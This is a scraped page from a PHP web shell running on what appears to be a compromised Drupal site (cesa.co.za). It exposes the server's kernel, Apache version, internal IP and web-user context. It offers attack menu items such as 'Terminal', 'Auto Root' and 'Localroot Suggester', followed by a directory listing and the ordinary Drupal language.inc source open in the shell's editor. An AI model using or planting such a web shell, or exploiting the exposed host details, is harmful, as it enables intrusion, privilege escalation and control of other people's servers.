Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
includes /
Delete
Unzip
Name
Size
Permission
Date
Action
actions.inc
14.34
KB
-rw-r--r--
2014-12-11 05:44
batch.inc
11.21
KB
-rw-r--r--
2014-12-11 05:44
bootstrap.inc
45.69
KB
-rw-r--r--
2014-12-11 05:44
cache-install.inc
700
B
-rw-r--r--
2014-12-11 05:44
cache.inc
7.04
KB
-rw-r--r--
2014-12-11 05:44
common.inc
130.73
KB
-rw-r--r--
2014-12-11 05:44
database.inc
21.35
KB
-rw-r--r--
2014-12-11 05:44
database.mysql-common.inc
15.17
KB
-rw-r--r--
2014-12-11 05:44
database.mysql.inc
10.81
KB
-rw-r--r--
2014-12-11 05:44
database.mysqli.inc
10.97
KB
-rw-r--r--
2014-12-11 05:44
database.pgsql.inc
26.56
KB
-rw-r--r--
2014-12-11 05:44
file.inc
56.49
KB
-rw-r--r--
2019-10-08 10:17
form.inc
94.98
KB
-rw-r--r--
2019-10-08 10:26
image.gd.inc
6.13
KB
-rw-r--r--
2014-12-11 05:44
image.inc
8.35
KB
-rw-r--r--
2014-12-11 05:44
install.inc
22
KB
-rw-r--r--
2014-12-11 05:44
install.mysql.inc
4.91
KB
-rw-r--r--
2014-12-11 05:44
install.mysqli.inc
5.03
KB
-rw-r--r--
2014-12-11 05:44
install.pgsql.inc
5.51
KB
-rw-r--r--
2014-12-11 05:44
language.inc
4.35
KB
-rw-r--r--
2014-12-11 05:44
locale.inc
95.76
KB
-rw-r--r--
2014-12-11 05:44
lock-install.inc
1.23
KB
-rw-r--r--
2014-12-11 05:44
lock.inc
7.72
KB
-rw-r--r--
2014-12-11 05:44
mail.inc
17.56
KB
-rw-r--r--
2014-12-11 05:44
menu.inc
87.69
KB
-rw-r--r--
2014-12-11 05:44
module.inc
16.83
KB
-rw-r--r--
2014-12-11 05:44
pager.inc
14.45
KB
-rw-r--r--
2014-12-11 05:44
path.inc
7.9
KB
-rw-r--r--
2014-12-11 05:44
session.inc
7.45
KB
-rw-r--r--
2014-12-11 05:44
tablesort.inc
6
KB
-rw-r--r--
2014-12-11 05:44
theme.inc
69.52
KB
-rw-r--r--
2014-12-11 05:44
theme.maintenance.inc
11.16
KB
-rw-r--r--
2014-12-11 05:44
unicode.entities.inc
5.36
KB
-rw-r--r--
2014-12-11 05:44
unicode.inc
17.23
KB
-rw-r--r--
2019-10-08 10:17
xmlrpc.inc
15.37
KB
-rw-r--r--
2014-12-11 05:44
xmlrpcs.inc
9.22
KB
-rw-r--r--
2014-12-11 05:44
Save
Rename
<?php /** * @file * Multiple language handling functionality. */ /** * Choose a language for the page, based on language negotiation settings. */ function language_initialize() { global $user; // Configured presentation language mode. $mode = variable_get('language_negotiation', LANGUAGE_NEGOTIATION_NONE); // Get a list of enabled languages. $languages = language_list('enabled'); $languages = $languages[1]; switch ($mode) { case LANGUAGE_NEGOTIATION_NONE: return language_default(); case LANGUAGE_NEGOTIATION_DOMAIN: foreach ($languages as $language) { $parts = parse_url($language->domain); if (!empty($parts['host']) && ($_SERVER['HTTP_HOST'] == $parts['host'])) { return $language; } } return language_default(); case LANGUAGE_NEGOTIATION_PATH_DEFAULT: case LANGUAGE_NEGOTIATION_PATH: // $_GET['q'] might not be available at this time, because // path initialization runs after the language bootstrap phase. $args = isset($_GET['q']) ? explode('/', $_GET['q']) : array(); $prefix = array_shift($args); // Search prefix within enabled languages. foreach ($languages as $language) { if (!empty($language->prefix) && $language->prefix == $prefix) { // Rebuild $GET['q'] with the language removed. $_GET['q'] = implode('/', $args); return $language; } } if ($mode == LANGUAGE_NEGOTIATION_PATH_DEFAULT) { // If we did not found the language by prefix, choose the default. return language_default(); } break; } // User language. if ($user->uid && isset($languages[$user->language])) { return $languages[$user->language]; } // Browser accept-language parsing. if ($language = language_from_browser()) { return $language; } // Fall back on the default if everything else fails. return language_default(); } /** * Identify language from the Accept-language HTTP header we got. */ function language_from_browser() { // Specified by the user via the browser's Accept Language setting // Samples: "hu, en-us;q=0.66, en;q=0.33", "hu,en-us;q=0.5" $browser_langs = array(); if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $browser_accept = explode(",", $_SERVER['HTTP_ACCEPT_LANGUAGE']); for ($i = 0; $i < count($browser_accept); $i++) { // The language part is either a code or a code with a quality. // We cannot do anything with a * code, so it is skipped. // If the quality is missing, it is assumed to be 1 according to the RFC. if (preg_match("!([a-z-]+)(;q=([0-9\\.]+))?!", trim($browser_accept[$i]), $found)) { $browser_langs[$found[1]] = (isset($found[3]) ? (float) $found[3] : 1.0); } } } // Order the codes by quality arsort($browser_langs); // Try to find the first preferred language we have $languages = language_list('enabled'); foreach ($browser_langs as $langcode => $q) { if (isset($languages['1'][$langcode])) { return $languages['1'][$langcode]; } } } /** * Rewrite URL's with language based prefix. Parameters are the same * as those of the url() function. */ function language_url_rewrite(&$path, &$options) { global $language; // Only modify relative (insite) URLs. if (empty($options['external'])) { // Language can be passed as an option, or we go for current language. if (!isset($options['language'])) { $options['language'] = $language; } switch (variable_get('language_negotiation', LANGUAGE_NEGOTIATION_NONE)) { case LANGUAGE_NEGOTIATION_NONE: // No language dependent path allowed in this mode. unset($options['language']); break; case LANGUAGE_NEGOTIATION_DOMAIN: if ($options['language']->domain) { // Ask for an absolute URL with our modified base_url. $options['absolute'] = TRUE; $options['base_url'] = $options['language']->domain; } break; case LANGUAGE_NEGOTIATION_PATH_DEFAULT: $default = language_default(); if ($options['language']->language == $default->language) { break; } // Intentionally no break here. case LANGUAGE_NEGOTIATION_PATH: if (!empty($options['language']->prefix)) { $options['prefix'] = $options['language']->prefix .'/'; } break; } } }